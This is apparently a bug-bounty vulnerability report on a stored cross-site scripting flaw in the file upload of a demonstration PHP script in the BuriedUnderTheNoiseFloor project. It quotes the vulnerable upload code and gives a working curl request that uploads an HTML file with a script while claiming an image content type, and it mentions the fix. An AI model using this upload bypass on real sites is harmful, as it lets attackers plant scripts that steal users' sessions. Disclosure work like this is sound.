Cross-site Scripting (XSS) - Stored in jspark311/buriedunderthenoisefloor
Reported on
Oct 13th 2021
Description
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script.
https://github.com/jspark311/BuriedUnderTheNoiseFloor/ is vulnerable to Stored XSS via Uploaded file as shown below:
Proof of concept
Vuln variable: $_FILES['upfile']
Snippet:
if (isset($_FILES) && isset($_FILES['upfile'])) {
if ($_FILES['upfile']['error'] == 0) {
if (in_array($_FILES['upfile']['type'], $allowed)) {
$extension = end(explode('.', $_FILES['upfile']['name']));
$file_path = 'uploads/'.hash('sha256', $_FILES['upfile']['tmp_name'].time()).'.'.$extension;
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $file_path)) {
$img = file_get_contents($file_path);
$state = 1;
...
Payload
Analogous to the RCE upload an html content file:
In a terminal, with curl send a forged petition (javascript with a img content type) in this example the path is http://localhost/BuriedUnderTheNoiseFloor-master/
curl -i -s -k -X $'POST' -H $'Host: localhost' -H $'Content-Type: multipart/form-data; boundary=---------------------------13655746569274249392023872903' -H $'Content-Length: 274' -H $'Connection: close' -H $'Bugbounty: test' --data-binary $'-----------------------------13655746569274249392023872903\x0d\x0aContent-Disposition: form-data; name=\"upfile\"; filename=\"test2.html\"\x0d\x0aContent-Type: image/jpg\x0d\x0a\x0a<html><head><script>alert`xss`</script></head></html>\x0a\x0d\x0a-----------------------------13655746569274249392023872903--\x0d\x0a' http://localhost/BuriedUnderTheNoiseFloor-master/form.php
Go to uploads folder http://localhost/BuriedUnderTheNoiseFloor-master/uploads/ and select the new html created file.
Observe the stored XSS.
Impact
Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
As is the case with the RCE exploit against form.php, this attack is against a demonstration script, and not the core library itself.
This has been fixed by ensuring the PHP execution policy is disable for the upload directory on the webserver.